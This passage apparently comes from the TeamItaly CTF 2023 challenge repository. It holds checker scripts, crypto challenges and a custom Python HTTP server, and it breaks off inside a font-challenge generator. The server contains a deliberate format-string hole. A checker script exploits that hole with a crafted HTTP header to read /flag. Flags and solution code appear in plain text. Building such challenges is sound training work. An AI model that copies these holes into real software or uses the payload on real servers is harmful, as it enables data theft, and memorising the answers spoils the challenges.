Source code and documentation for TeamItaly CTF 2023 challenges
#!/bin/python3

import os
import random
import string

import requests

URL = os.environ.get("URL", "http://site.aua.challs.teamitaly.eu")
URL = URL.replace(':80', '')  # the callback breaks otherwise
if URL.endswith("/"):
    URL = URL[:-1]

URL_SSO = URL.replace('site.aua.', 'sso.aua.')


def rand_str(length=8):
    return ''.join(random.choice(string.ascii_letters) for i in range(length))


u = rand_str()
p = rand_str()

# print(u,p)

s = requests.Session()

# register an account
r = s.post(URL_SSO + '/register', data={
    'username': u,
    'password': p
})
r.raise_for_status()

r = s.post(URL_SSO + '/login?callback=' + URL + '/cb', data={
    'username': u,
    'password': p
})
r.raise_for_status()

token = r.url.split('#')[1]

r = s.post(URL + '/cb', data={
    'token': token,
})
r.raise_for_status()

r = s.post(URL + '/set-profile', data={
    'desc': 'TEST',
    'private': 'true'
})
r.raise_for_status()

r = s.get(URL + '/set-profile')
r.raise_for_status()

# print(r)
assert ('TEST' in r.text)

flag = 'flag{_15_7H15_4_C5P_8YP455?_}'
print(flag)

AnotherUselessApplication/checker/__main__.py
TeamItaly/TeamItalyCTF-2023
from Crypto.Util.number import getPrime, getStrongPrime, bytes_to_long
from sympy import factorial
from random import randint
from secret import flag

p, q = getStrongPrime(1024), getStrongPrime(1024)

def RSAgen(e = None):
    d = 0
    if not e:
        while(d.bit_length() < 2047):
            e = getPrime(2047)
            d = pow(e, -1, (p-1)*(q-1))
    else:
        d = pow(e, -1, (p-1)*(q-1))
    return (p*q, p, q, e, d)

n = p*q
print(f'{n = }')

key = RSAgen()
k = randint(600, 1200)
f = factorial(k)

leak = (pow(key[3], 2) + (key[3]*key[4] - 1)*f)*getPrime(256) + k

# 2048 bit e is very expensive, i should use standard e for my encryption   

key = RSAgen(65537)
e = key[3]
flag = bytes_to_long(flag)
c = pow(flag, e, n)

print(f"{c = }")
print(f"{leak = }")


#OUTPUT
#
#n = 26155610563918771040451217453770153423175480849248932666067623213096628137347700281227651842637531066158966523562535269946270160966349550464316855975843702602386644310622115374093643617687763127399565005930283899166880048303714803385714487858740617133136915034968428269114907303042424391192431406494414712801428682398922655599872605973327217541188045983390427079210204358352343375551675052592229757120847888780576171954181304712725822439789885440973203535622584052397858824995170393109932313608251208103032787250637381098134254687242226624254464180882206386756799922789661143241398308165644172112918996116051241341767
#c = 14882143057207490168145609595794327950964467559973424621597752378687475531116051048471999976592360385753040756962986881197575420871063219354858309758384966841729075968439470757951580317772601028800980369844502945471937420415705013093369495725032356110007789188647453706470456907380267324946203780527015651994928850341098799680560649210763871810476662426271293840410794844793663532229448343601068354829550752842074478598115636890530640204633346276888013284576380941564885085920559055293159358576137659586044231684426664502650956119257574114940925398612801662412390652208379645262117964212231444035372237602987220161154
#leak = 8882329530176003989563469282320326448513961425520889104820115352134009331360402757127024139665879246460280903840841878434886334764358389863635520069842148223207565079555357126011768633841724238023402746185876779525887392481984149029421348288859961294980594601070755980946189936784537926893399566710815892754474482631518313221065280747677073806153015411511245208373763611976120763693741604815436190527484656588721635559583703292529849150438632820886160326184322723507482566078134710656764953471923255683042573911453728381364857973339477093454501755540396376196910045154990604723000628164844678783206034532184996212426411646863562670787117170937484057232253132378686191307517787281075273286073730517840320844224160937065166742670192503005084799125432651202276745876948826479983116284656814139188066381428020724692363565714860614527931752152240198254329317479816158596931824787225489069026346088037877441040453722896865574447079406031506283100005929709985031578939782011738018467829080816081913925121672327305968766974521281843700741425497908524015911173859409613820295440717780859694704848500536323185048069666385294578000406894438137681553061828379901393410655028227052289995544806138411605538810055799529381568985312754486907514057810886832822416112077637141046599291719695931641341477116694041607732362173173111829958139812135983269100274129925726662395368378059697391687349679786945510641238252220381519030943165126475181808810902040710261462429322977874350519175554159491968977598607860470919877896807912649830555310344788510811708640852621939517683512617800947347015328336403343549764926804605586325355602602157724502283094424228440314761426084409569002423419659272529716195776451657960565924304898320195699180560668631806178645741692749524883469846005409211271022431433039546590781549630715275308124729500303196140494010253387465310270348759187686632848767083559239773341844408450815683523679200221818741654323193797457218877776650125241324891467161777274139708214831833313936201971466603547791591622683172049635972772551806007816208466413199652425970868250229578051299718112290796388965170374760048006586491240415960299655674234758022536120132945656010849673271011148857409644260456852793444292102864629782613888832787049959589501287519423225832100567897316528973935415321329220397090613054817402449251249956025659833660199528249628136823951941068620183704359665779941064385612344970878816496323047753331967618070575102035154652470553061929831610193694052912228006377979477318327954292917783836426814224401489211262556447908499035071972531345812915421543036881828636718727357962701875285833936517812391121587399727281240931927431811181444977909594218984279921315492877394195428208756441893687385105650326859023900280137352737660777503064484456016697716191624303099683835521939233782390584505763849676573364198388306561033652480971048175488758111144736636640190185417713883213429725379415164862080052393396741667399031632758281193771891210430178563364662790052209648349668663621672614807647401120518076403133998551484399204398325200361951412241887720441234483010617920388630542945062451586033688057992061925968617174491390233664273716567854279453909892176120950383253842037120054072618389794275273311333932588139102552015371447182882116160259277516530183031644054520783191752410514938160605548110059282703060409667276475969749797140136872904654013231613962248971564712815341527356396922068564215026284215874684201258558000033165916019163319759952566031082383620943938948623145286816988139057606627616639594815749554968862963450819772941547102531289115954195402127419754744687573822011699197232836491588776322734503766502102575418226503487579619923510951731702344792411606628965837547432575532404303417689912716247856960760491417279481456633424179644033150732614552508566990237704498608189201159580503580410535170284429946552129635519661513317741471932078145289068540132823

BigRSA/attachments/encrypt.py
TeamItaly/TeamItalyCTF-2023
from Crypto.Util.number import getPrime, getStrongPrime, bytes_to_long
from sympy import factorial
from random import randint
from secret import flag

p, q = getStrongPrime(1024), getStrongPrime(1024)

def RSAgen(e = None):
    d = 0
    if not e:
        while(d.bit_length() < 2047):
            e = getPrime(2047)
            d = pow(e, -1, (p-1)*(q-1))
    else:
        d = pow(e, -1, (p-1)*(q-1))
    return (p*q, p, q, e, d)

n = p*q
print(f'{n = }')

key = RSAgen()
k = randint(600, 1200)
f = factorial(k)

leak = (pow(key[3], 2) + (key[3]*key[4] - 1)*f)*getPrime(256) + k

# 2048 bit e is very expensive, i should use standard e for my encryption   

key = RSAgen(65537)
e = key[3]
flag = bytes_to_long(flag)
c = pow(flag, e, n)

print(f"{c = }")
print(f"{leak = }")


#OUTPUT
#
#n = 26155610563918771040451217453770153423175480849248932666067623213096628137347700281227651842637531066158966523562535269946270160966349550464316855975843702602386644310622115374093643617687763127399565005930283899166880048303714803385714487858740617133136915034968428269114907303042424391192431406494414712801428682398922655599872605973327217541188045983390427079210204358352343375551675052592229757120847888780576171954181304712725822439789885440973203535622584052397858824995170393109932313608251208103032787250637381098134254687242226624254464180882206386756799922789661143241398308165644172112918996116051241341767
#c = 14882143057207490168145609595794327950964467559973424621597752378687475531116051048471999976592360385753040756962986881197575420871063219354858309758384966841729075968439470757951580317772601028800980369844502945471937420415705013093369495725032356110007789188647453706470456907380267324946203780527015651994928850341098799680560649210763871810476662426271293840410794844793663532229448343601068354829550752842074478598115636890530640204633346276888013284576380941564885085920559055293159358576137659586044231684426664502650956119257574114940925398612801662412390652208379645262117964212231444035372237602987220161154
#leak = 8882329530176003989563469282320326448513961425520889104820115352134009331360402757127024139665879246460280903840841878434886334764358389863635520069842148223207565079555357126011768633841724238023402746185876779525887392481984149029421348288859961294980594601070755980946189936784537926893399566710815892754474482631518313221065280747677073806153015411511245208373763611976120763693741604815436190527484656588721635559583703292529849150438632820886160326184322723507482566078134710656764953471923255683042573911453728381364857973339477093454501755540396376196910045154990604723000628164844678783206034532184996212426411646863562670787117170937484057232253132378686191307517787281075273286073730517840320844224160937065166742670192503005084799125432651202276745876948826479983116284656814139188066381428020724692363565714860614527931752152240198254329317479816158596931824787225489069026346088037877441040453722896865574447079406031506283100005929709985031578939782011738018467829080816081913925121672327305968766974521281843700741425497908524015911173859409613820295440717780859694704848500536323185048069666385294578000406894438137681553061828379901393410655028227052289995544806138411605538810055799529381568985312754486907514057810886832822416112077637141046599291719695931641341477116694041607732362173173111829958139812135983269100274129925726662395368378059697391687349679786945510641238252220381519030943165126475181808810902040710261462429322977874350519175554159491968977598607860470919877896807912649830555310344788510811708640852621939517683512617800947347015328336403343549764926804605586325355602602157724502283094424228440314761426084409569002423419659272529716195776451657960565924304898320195699180560668631806178645741692749524883469846005409211271022431433039546590781549630715275308124729500303196140494010253387465310270348759187686632848767083559239773341844408450815683523679200221818741654323193797457218877776650125241324891467161777274139708214831833313936201971466603547791591622683172049635972772551806007816208466413199652425970868250229578051299718112290796388965170374760048006586491240415960299655674234758022536120132945656010849673271011148857409644260456852793444292102864629782613888832787049959589501287519423225832100567897316528973935415321329220397090613054817402449251249956025659833660199528249628136823951941068620183704359665779941064385612344970878816496323047753331967618070575102035154652470553061929831610193694052912228006377979477318327954292917783836426814224401489211262556447908499035071972531345812915421543036881828636718727357962701875285833936517812391121587399727281240931927431811181444977909594218984279921315492877394195428208756441893687385105650326859023900280137352737660777503064484456016697716191624303099683835521939233782390584505763849676573364198388306561033652480971048175488758111144736636640190185417713883213429725379415164862080052393396741667399031632758281193771891210430178563364662790052209648349668663621672614807647401120518076403133998551484399204398325200361951412241887720441234483010617920388630542945062451586033688057992061925968617174491390233664273716567854279453909892176120950383253842037120054072618389794275273311333932588139102552015371447182882116160259277516530183031644054520783191752410514938160605548110059282703060409667276475969749797140136872904654013231613962248971564712815341527356396922068564215026284215874684201258558000033165916019163319759952566031082383620943938948623145286816988139057606627616639594815749554968862963450819772941547102531289115954195402127419754744687573822011699197232836491588776322734503766502102575418226503487579619923510951731702344792411606628965837547432575532404303417689912716247856960760491417279481456633424179644033150732614552508566990237704498608189201159580503580410535170284429946552129635519661513317741471932078145289068540132823

BigRSA/src/encrypt.py
TeamItaly/TeamItalyCTF-2023
#!/bin/python3

import re
import os
import requests
from pwn import *
import logging
logging.disable()

# Se challenge tcp
HOST = os.environ.get("HOST", "borraccia.challs.teamitaly.eu")
PORT = int(os.environ.get("PORT", 80))

# Check challenge
filename = "/flag"

payload = """GET /?a=%%&b=(&c=) HTTP/1.1
Host: %s
status-code: %s
method: {0[request][params][a]}{0[request][params][b]}{0[response][body]}{0[request][params][c]}

""".replace("\n", "\r\n") % (HOST, filename)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))
sock.send(payload.encode())

print(re.search(r"<!--'(flag{.+})'-->", sock.recv(65536).decode()).group(1))

sock.close()

Borraccia/checker/__main__.py
TeamItaly/TeamItalyCTF-2023
from .server import *
from .const import *
Borraccia/src/challenge/Borraccia/__init__.py
TeamItaly/TeamItalyCTF-2023
import re
from rich.logging import RichHandler
from rich._null_file import NullFile
from rich.traceback import Traceback


class ObjDict:
    def __init__(self, d={}):
        self.__dict__['_data'] = d # Avoiding Recursion errors on __getitem__

    def __getattr__(self, key):
        if key in self._data:
            return self._data[key]
        return None

    def __contains__(self, key):
        return key in self._data

    def __setattr__(self, key, value):
        self._data[key] = value

    def __getitem__(self, key):
        return self._data[key]

    def __setitem__(self, key, value):
        self._data[key] = value

    def __delitem__(self, key):
        del self._data[key]

    def __enter__(self, *args):
        return self

    def __exit__(self, *args):
        self.__dict__["_data"].clear()

    def __repr__(self):
        return f"ObjDict object at <{hex(id(self))}>"

    def __iter__(self):
        return iter(self._data)
    
class TruncatedStringHandler(RichHandler):
    def __init__(self, max_length=256):
        super().__init__()
        self.max_length = max_length

    def emit(self, record) -> None: 
        """Invoked by logging, taken from rich.logging.RichHandler"""
        """NOTE: THIS IS NOT PART OF THE CHALLENGE. DO NOT WASTE TIME"""
        record.msg = re.sub(r"\)\d+.", ")", record.msg)
        message = self.format(record)
        traceback = None
        if (
            self.rich_tracebacks
            and record.exc_info
            and record.exc_info != (None, None, None)
        ):
            exc_type, exc_value, exc_traceback = record.exc_info
            assert exc_type is not None
            assert exc_value is not None
            traceback = Traceback.from_exception(
                exc_type,
                exc_value,
                exc_traceback,
                width=self.tracebacks_width,
                extra_lines=self.tracebacks_extra_lines,
                theme=self.tracebacks_theme,
                word_wrap=self.tracebacks_word_wrap,
                show_locals=self.tracebacks_show_locals,
                locals_max_length=self.locals_max_length,
                locals_max_string=self.locals_max_string,
                suppress=self.tracebacks_suppress,
            )
            message = record.getMessage()
            if self.formatter:
                record.message = record.getMessage()
                formatter = self.formatter
                if hasattr(formatter, "usesTime") and formatter.usesTime():
                    record.asctime = formatter.formatTime(record, formatter.datefmt)
                message = formatter.formatMessage(record)

        message_renderable = self.render_message(record, message)
        
        if len(message_renderable) > self.max_length:
            message_renderable = message_renderable[:self.max_length - 3] + "..."
        
        log_renderable = self.render(
            record=record, traceback=traceback, message_renderable=message_renderable
        )
        
        if isinstance(self.console.file, NullFile):
            self.handleError(record)
        else:
            try:
                self.console.print(log_renderable)
            except Exception:
                self.handleError(record)
                

Borraccia/src/challenge/Borraccia/_types.py
TeamItaly/TeamItalyCTF-2023
import os
import sys


CURRENT_DIR = os.path.dirname(os.path.abspath(sys.modules['__main__'].__name__))
PUBLIC_DIR = os.path.join(CURRENT_DIR, "public")
STATIC_DIR = os.path.join(PUBLIC_DIR, "static")
ERROR_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), "errors")
Borraccia/src/challenge/Borraccia/const.py
TeamItaly/TeamItalyCTF-2023
import os
import re
import sys
import time
import typing
import socket
import logging
import traceback
import multiprocessing

from . import utils
from .const import *

from jinja2 import Template
from rich import print as rich_print
from urllib.parse import parse_qs, unquote

from ._types import ObjDict, TruncatedStringHandler


#=========================
# INCREASE THESE VALUE IF
# THE CHALLENGE ISN'T WORKING
# CORRECTLY
MAX_REQ_SIZE = int(os.environ.get("MAX_REQ_SIZE", 16384))
SOCK_TIMEOUT = int(os.environ.get("SOCK_TIMEOUT", 5))
SHORT_SOCK_TIMEOUT = float(os.environ.get("SHORT_SOCK_TIMEOUT", .15))
WORKERS = int(os.environ.get("WORKERS", 4)) # Default value
# ========================
VERSION = "1.0"

BLOCK_RE = re.compile(r"([\S\s]+(?=\r\n\r\n))") # Matching HTTP header only
HEADER_RE = re.compile(r"([a-zA-Z-]{1,40})\:\s*(.{1,128})") # Matching headers (header: value)
PATH_TRAVERSAL_RE = re.compile(r"(^(\\|\/))|(\.\.(\/|\\))") # Matching path traversal patterns (/ | ../ | ..\)
CONTENT_LENGTH = re.compile(r"Content-Length:\s(\d+)") # Matching content-length header (only positive values)
PARSER_RE = re.compile(r"([\S\s]+)(?=(\r\n\r\n(.+))|(\r\n\r\n))") # Matching HTTP header and body

METHODS = [
    "GET",
    "POST"
]

ERRORS = {
    418: "I'm a teapot",
    500: "Internal Server Error",
    405: "Method Not Allowed",
    401: "Unauthorized",
    404: "Not found"
}

SUPPORTED_HTTP_VERSIONS = ["HTTP/1.1"]


class App:
    name: str
    is_main: bool
    __nworkers: int
    server: socket.socket
    endpoints: typing.Dict
    running: bool
    _shared: typing.Dict
    ratelimit: int
    def __init__(self, name, ratelimit=float(os.environ.get("RATELIMIT", "inf")), nworkers=WORKERS):
        self.endpoints = dict()
        self.name = name
        self.__nworkers = nworkers
        self.is_main = self.name == "__main__"
        self.ratelimit = ratelimit
        
    def get(self, endpoint: str, function: typing.Callable) -> None:
        if endpoint not in self.endpoints:
            self.endpoints[endpoint] = {"methods": {}}
            
        self.endpoints[endpoint]["methods"].update({
            "GET": function
        })
        
    def post(self, endpoint: str, function: typing.Callable) -> None:
        if endpoint not in self.endpoints:
            self.endpoints[endpoint] = {"methods": {}}
            
        self.endpoints[endpoint]["methods"].update({
            "POST": function
        })
        
    def stop(self) -> None:
        sys.exit(0)
        
    def run(self, address: str="0.0.0.0", port: int=80) -> None:
        if self.is_main:
            self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

            self.server.bind((address, port))
            self.server.listen(self.__nworkers * 2)
            self._shared = multiprocessing.Manager().dict()
            workers = [multiprocessing.Process(target=handler, args=(self.server, self, )) for _ in
                range(self.__nworkers)]

            for w in workers:
                w.daemon = True
                w.start()
        
            if address == "0.0.0.0":
                rich_print("[green] * Running on all addresses.[/green]")
            rich_print(f"[yellow] * Server started at[/yellow] http://localhost:{port}/\n")
                
            try:
                while True:
                    time.sleep(1)
            except KeyboardInterrupt:
                rich_print("[yellow]Stopping all processes...[/yellow]")
                self.stop()
                
def set_logger() -> None:
    FORMAT = "%(message)s"
    logging.basicConfig(
        level="NOTSET", format=FORMAT, datefmt="[%H:%M:%S.%f]", handlers=[TruncatedStringHandler()]
    )
    
def set_status_code(ctx: ObjDict, status_code: int) -> None:
    ctx.response.status_code = status_code
    ctx.response.message = ERRORS.get(status_code, ERRORS[404])

def recvuntil(sock: socket.socket, 
              buffer_size: int=4096) -> typing.List:
    received_data = ""
    post_data = ""
    match = None
    
    sock.settimeout(SOCK_TIMEOUT)
    while not match:
        received_data += sock.recv(buffer_size).decode()
        assert received_data.count("\r") < 1024
        match = PARSER_RE.search(received_data[:MAX_REQ_SIZE]) # Receiving until \r\n\r\n found
        
    try:
        sock.settimeout(SHORT_SOCK_TIMEOUT)
        sock.recv(16, socket.MSG_PEEK) # Receiving without consuming
        if match:
            content = match.group(1)
            if (content_length := CONTENT_LENGTH.search(content)):
                content_length = int(content_length.group(1))
                post_data += sock.recv(content_length).decode() # Receiving POST data
            return PARSER_RE.search(content + post_data).groups()
    except TimeoutError:
        return match.groups()
    except AttributeError:
        pass

def render_template(template_file: str, **kwargs) -> str:
    with open(os.path.join(PUBLIC_DIR, "templates", template_file), 'r') as f:
        buf = f.read()
    return Template(buf).render(kwargs)

def parse_request(request: typing.List, ctx: ObjDict) -> None:
    ctx.response = ObjDict() 
    ctx.request = ObjDict()
    
    ctx.response.status_code = 200 # Default value
    ctx.response.message = "OK" # Default value
    ctx.response.headers = { # Static headers.
        "Server": f"Borraccia/{VERSION}",
        "Content-Type": "text/html", # Only html content is supported
        "Content-Security-Policy": "default-src 'none'; require-trusted-types-for 'script'",
        "Referrer-Policy": "strict-origin-when-cross-origin"
    }
    
    ctx.response.header = ""
    ctx.response.body = ""
    
    start_and_headers = request[0]
    should_be_a_post_request = bool(request[-2])
    post_data = request[-2]
    post_data = utils.extract_params(parse_qs(post_data) if post_data else {})
    
    rows = start_and_headers.split("\n")
    first_row = rows[0].split()
            
    method = first_row[0]
    path = first_row[1]

    params = utils.extract_params(parse_qs(params[1]) if len((params:=path.split("?"))) > 1 else {})
    
    http_version = first_row[2]
    
    ctx.request.http_version = http_version
    ctx.request.params = params
    ctx.request.path = unquote(path.split("?")[0].lower())
    ctx.request.post_data = post_data
    ctx.request.method = method
    
    assert method.isalpha()

    if method not in METHODS:
        ctx.response.status_code = 405 # Method not supported
    
    elif http_version not in SUPPORTED_HTTP_VERSIONS:
        ctx.response.status_code = 418 # I'm a teapot
    
    elif should_be_a_post_request:
        if not method == "POST":
            ctx.response.status_code = 500 # Internal Server Error

    elif PATH_TRAVERSAL_RE.search(uq:=unquote(path[1:])):
        ctx.response.status_code = 401 # Unauthorized
        utils.log(logging, f"Path traversal attempt detected ", "ERROR")

    for probable_header in filter(None, rows[1:]): # Memorizing headers
        if (cap:=HEADER_RE.search(probable_header)):
            header = cap.group(1)
            value = cap.group(2)

            h = utils.normalize_header(header)
            v = utils.normalize_header_value(value)
            ctx.request[h] = v 
             
def request_handler(client: socket.socket, 
                    address: typing.Tuple, 
                    app: App, 
                    curr: str) -> None:
    with ObjDict() as ctx:
        data = recvuntil(client)
        if not data:
            ctx.response.body = utils.serve_error(500)
            ctx.response.message = ERRORS[500]
            client.send((ctx.response.header + ctx.response.body).encode())
        
        parse_request(data, ctx) # Extract path, params, headers, etc...
        res = function_wrapper(app, ctx) # Check if the path is valid
        
        if ctx.response.status_code == 200:
            ctx.response.status_code = res
        
        if ctx.response.status_code != 200: # Something went wrong
            ctx.response.message = ERRORS.get(ctx.response.status_code, ERRORS[500])
            ctx.response.body = utils.serve_error(ctx.response.status_code)
        else:
            try:
                ctx.response.body = app.endpoints[ctx.request.path]["methods"][ctx.request.method](ctx)
            except Exception as e: # Something went wrong with App()
                utils.log(logging, ''.join(traceback.format_exception(e)[-2:]), "ERROR")
                ctx.response.body =  utils.serve_error(500) + utils.make_comment(f"{e}") 
                ctx.response.message = ERRORS[500]
        
        try:
            utils.build_header(ctx) # Now the response is ready to be sent
            utils.log(logging, f"[{curr}]\t{ctx.request.method}\t{ctx.response.status_code}\t{address[0]}", "DEBUG", ctx)    
            assert ctx.response.status_code in ERRORS or ctx.response.status_code == 200
        except AssertionError:
            raise # Something unexpected happened, close conection immediately
        except Exception as e:
            ctx.response.status_code = 500
            ctx.response.header = ""
            ctx.response.body = utils.serve_error(ctx.response.status_code) + utils.make_comment(f"{e}") # Something went wrong while building the header.
            utils.build_header(ctx)
            
        client.send((ctx.response.header + ctx.response.body).encode())

def function_wrapper(app: App, ctx: ObjDict) -> bool:
    return 200 if (endpoint:=app.endpoints.get(ctx.request.path)) and ctx.request.method in endpoint["methods"] else 404

def request_wrapper(client, address, app: App, curr): # This is beautiful!
    addr = address[0]
    if addr not in app._shared:
        app._shared[addr] = (time.time(), 0)

    app._shared[addr] = (app._shared[addr][0], app._shared[addr][1]+1)
    
    if time.time() - app._shared[addr][0] > 1*60:
        app._shared[addr] = (time.time(), 0)
        
    if app._shared[addr][1] < app.ratelimit:
        request_handler(client, address, app, curr)

def handler(sock: socket.socket, app: App) -> None:
    curr = multiprocessing.current_process().name.split("-")[-1]
    set_logger()

    while True:
        try:
            client, address = sock.accept()
            request_wrapper(client, address, app, curr)
        except Exception as e:
            utils.log(logging, f"[{curr}] [{address[0]}:{address[1]}] {e}", "ERROR")
        client.close()




Borraccia/src/challenge/Borraccia/server.py
TeamItaly/TeamItalyCTF-2023
import os
import re
import typing
from . import _types
from functools import lru_cache
from .const import STATIC_DIR, ERROR_DIR


@lru_cache
def normalize_header(s: str) -> str:
    return s.lower().replace('-', '_')

@lru_cache
def normalize_header_value(s: str) -> str:
    return re.sub(r"[%\"\.\n\'\!:\(\)]", "", s)

@lru_cache
def serve_file(path: str) -> str:
    try:
        with open(path, "r") as f:
            return f.read()
    except FileNotFoundError:
        return ''
    
@lru_cache
def serve_static_file(path: str) -> str:
    try:
        with open(resolve_path(STATIC_DIR, path), "r") as f:
            return f.read()
    except FileNotFoundError:
        return ''
    
@lru_cache
def serve_error(status_code: int) -> str:
    try:
        with open(resolve_path(ERROR_DIR, str(status_code).strip()), "r") as f:
            return f.read()
    except FileNotFoundError:
        return ''

def extract_params(p) -> typing.Dict:
    return {key: value[0] if isinstance(value, list) and len(value) == 1 else value \
        for key, value in p.items()}

@lru_cache
def resolve_path(base: str, path: str) -> str:
    return os.path.join(base, path) if ".." not in path else ''

def make_comment(s):
    return "<!--" + s + "-->"

def log(log, s, mode="INFO", ctx=None):
    {
        "DEBUG": log.debug,
        "INFO": log.info,
        "ERROR": log.error
    }[mode](s.format(ctx), {"mode": mode})

def build_header(ctx: _types.ObjDict) -> None: # Build the header with status code, headers, etc...
    ctx.response.header += ctx.request.http_version + " " + str(ctx.response.status_code) + " " + ctx.response.message + "\n"
    
    for header in ctx.response.headers:
        ctx.response.header += f"{header}: {ctx.response.headers[header]}\n"
        
    ctx.response.header += f"Content-Length: {len(ctx.response.body)}\n"

    ctx.response.header += "\n"
    ctx.response.header = ctx.response.header.replace("\n", "\r\n")


Borraccia/src/challenge/Borraccia/utils.py
TeamItaly/TeamItalyCTF-2023
from Borraccia import App, render_template, set_status_code

app = App(__name__)

def index(ctx):
    return render_template("index.html")

def documentation_test(ctx):
    return render_template("documentation_test.html")

def login(ctx):
    return render_template("login.html")

def register(ctx):
    return render_template("register.html")

def login_handle(ctx):
    data = ctx.request.post_data

    username = data.get("username")
    password = data.get("password")
    
    if username == "admin" and password == "admin":
        return render_template("login.html", status="Hi admin! Sorry, no flag for you!")
    
    set_status_code(ctx, 401)
    return render_template("login.html", status="Login failed")
    
def register_handle(ctx):
    data = ctx.request.post_data

    username = data.get("username")
    password = data.get("password")
    
    assert username and password
    
    return "Registered!"

app.get("/", index)
app.get("/index", index)
app.get("/login", login)
app.get("/register", register)
app.get("/documentation_test", documentation_test)

app.post("/login", login_handle)
app.post("/register", register_handle)


if __name__ == "__main__":
    app.run("0.0.0.0", 1337)
    

Borraccia/src/challenge/app.py
TeamItaly/TeamItalyCTF-2023
from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import hashlib
import secrets
import random

FLAG = open('flag.txt','rb').read()
class LFSR:
    def __init__(self, seed):
        self.state = list(map(int, list(f"{seed:0128b}")))
        self.taps = [0, 16, 32, 64, 96, 127]

    def get(self):
        next_bit = 0
        for tap in self.taps:
            next_bit ^= self.state[tap]
        self.state = self.state[1:] + [next_bit]
        return next_bit

class LCG:
    def __init__(self, seed):
        self.a = 3
        self.b = 7
        self.m = 2**64-59
        self.state = seed % self.m

    def get(self):
        self.state = (self.a * self.state + self.b) % self.m
        out = 1 if self.state >> 58 else 0
        return out


class nonsense: 
    def __init__(self, seed):
        self.lfsr = LFSR(seed)
        self.lcg = LCG(seed)
    
    def get(self):
        t1 = self.lfsr.get()
        t2 = self.lcg.get()
        return t1 ^ t2 ^ 1 

l = 128
key = secrets.randbelow(2**l-1)
prng = nonsense(key)


for i in range(300):
    out = [prng.get() for _ in range(12)]    
    p = getPrime(256)
    
    leak = []
    for x in out:
        if x:
            a = secrets.randbelow(2**180)
            b = secrets.randbelow(a)
            leak.append(a*p + b)
        else:
            leak.append(secrets.randbelow(2**436))

    random.shuffle(leak)
    print(leak)

print(AES.new(hashlib.sha256(long_to_bytes(key)).digest(), AES.MODE_ECB).encrypt(pad(FLAG, 16)).hex())
Duality/src/chall.py
TeamItaly/TeamItalyCTF-2023
# decompile into fea

from fontTools.ttLib import TTFont
from fontFeatures.ttLib import unparse
import string

decomp = unparse(TTFont("attachments/chall.otf"))

fea = decomp.asFea()

# keep only rows with "by" in them
fea = [x.strip(" \t;") for x in fea.split("\n") if "by" in x]
# print(fea)

flag = ""
node = 1337

# define char mappings
to_name = {}
for c in string.ascii_lowercase + string.ascii_uppercase:
    to_name[c] = c

to_name["exclam"] = "!"
to_name["question"] = "?"
to_name["braceleft"] = "{"
to_name["braceright"] = "}"
to_name["underscore"] = "_"
for i, c in enumerate("zero one two three four five six seven eight nine".split()):
    to_name[c] = str(i)

for row in fea[::-1]:
    if flag.startswith("lag{"):
        break
    if row.endswith(str(node).zfill(4)):
        fields = row.split()[2:-2]
        flag = "".join([to_name[x] for x in fields]) + flag

        # print(row)
        node = int(row.split()[1][1:])

    print(flag, end="\r")

flag = "f" + flag

print(flag)

LIGAbue/solution.py
TeamItaly/TeamItalyCTF-2023
# Generator for level1, obfuscates a little the flag path in the font

import random, os, string, math, sys
# random.seed(os.urandom(8))
random.seed(696969696969696969)

## Constants ##
FLAG = "flag{f0nt_l1g4tur3s_c4n_b3_4_f1n173_s7at3_m4ch1n3!!}"
L = len(FLAG)
N = 2048 # number of nodes
WIN = 1337 # winning node

# mmm i could link the losing states to the root

## Generate the states tree ##
order = list(range(N))
del order[WIN] # remove winning node from the list
random.shuffle(order)

print(f"Generating tree of {N} nodes...")
print(f"Flag chain is {L} nodes long")

ROOT = order[0]
parent = [-1] * N
char = [""] * N

# Create flag chain
i = 1 # skip the first node
c = 1 # skip the first char
while 2:
    num_chars = min(random.choice([1,1,1,1,1,1,2,2,2,3]), L-c)

    if c+num_chars == L:
        # last node
        parent[WIN] = order[i-1]
        char[WIN] = FLAG[c:c+num_chars]
        break
    parent[order[i]] = order[i-1]
    char[order[i]] = FLAG[c:c+num_chars]

    i += 1
    c += num_chars

# Create the rest of the tree
flag_chain = order[:i]
order = order[i:]

NON_FLAG_CHAIN = 12

for i, u in enumerate(order):
    if i % NON_FLAG_CHAIN == NON_FLAG_CHAIN-1:
        # Sometimes, add a node to a random non-flag_chain node
        p = random.choice(order[:i])
    else:
        p = random.choice(flag_chain)
    
    parent[u] = p

# Build adjacency list
AL = [list() for _ in range(N)]
for i in range(N):
    if i == ROOT:
        continue
    AL[parent[i]].append(i)

assert len(AL[WIN]) == 0

# Count number of leaves
leaves = []
for i in range(N):
    if AL[i] == []:
        leaves += [i]

flag_path_degrees = [len(AL[i]) for i in flag_chain]

print(f"Done generating: root is {ROOT}, it has {len(leaves)} leaves")
print(f"Flag path degrees: {flag_path_degrees}, length {len(flag_chain)}")
print(f"Flag path: {flag_chain + [WIN]}")

if "PLOT" in sys.argv:
    from treelib import Node, Tree
    tree = Tree()
    tree.create_node(ROOT, ROOT) # root node
    for i in flag_chain + [WIN] + order:
        if i == ROOT:
            continue
        tree.create_node(i, i, parent=parent[i])
    
    print(tree)
    exit()

# Shuffle the order of the AL
for i in range(N):
    random.shuffle(AL[i])

## Write the tree in the font following a BFS ##
print("Writing the .fea file for the substitutions...")
to_name = {}
for c in string.ascii_lowercase + string.ascii_uppercase:
    to_name[c] = c

to_name["!"] = "exclam"
to_name["?"] = "question"
to_name["{"] = "braceleft"
to_name["}"] = "braceright"
to_name["_"] = "underscore"
for i, c in enumerate("zero one two three four five six seven eight nine".split()):
    to_name[str(i)] = c

nam = lambda i: f"s{str(i).zfill(4)}"

# define variables (won't work if WIN == 0000 or 9999)
source = ""
source += "@flag_chars = [exclam zero one two three four five six seven eight nine question A-Z underscore braceleft braceright a-z];\n"

state = list(range(N))
del state[WIN] # remove winning node from the list
state_str = " ".join([nam(i) for i in state])
source += f"@states = [{state_str}];\n"

del leaves[leaves.index(WIN)] # remove winning node from the list
leaves_str = " ".join([nam(i) for i in leaves])
source += f"@leaves = [{leaves_str}];\n"

# define the entrypoint (lookups are applied in order)
source += """
@all = [@states @flag_chars];

feature rlig {
    # Thank you https://github.com/mmulet/code-relay/blob/main/markdown/HowIDidIt.md
    lookup goodentry {
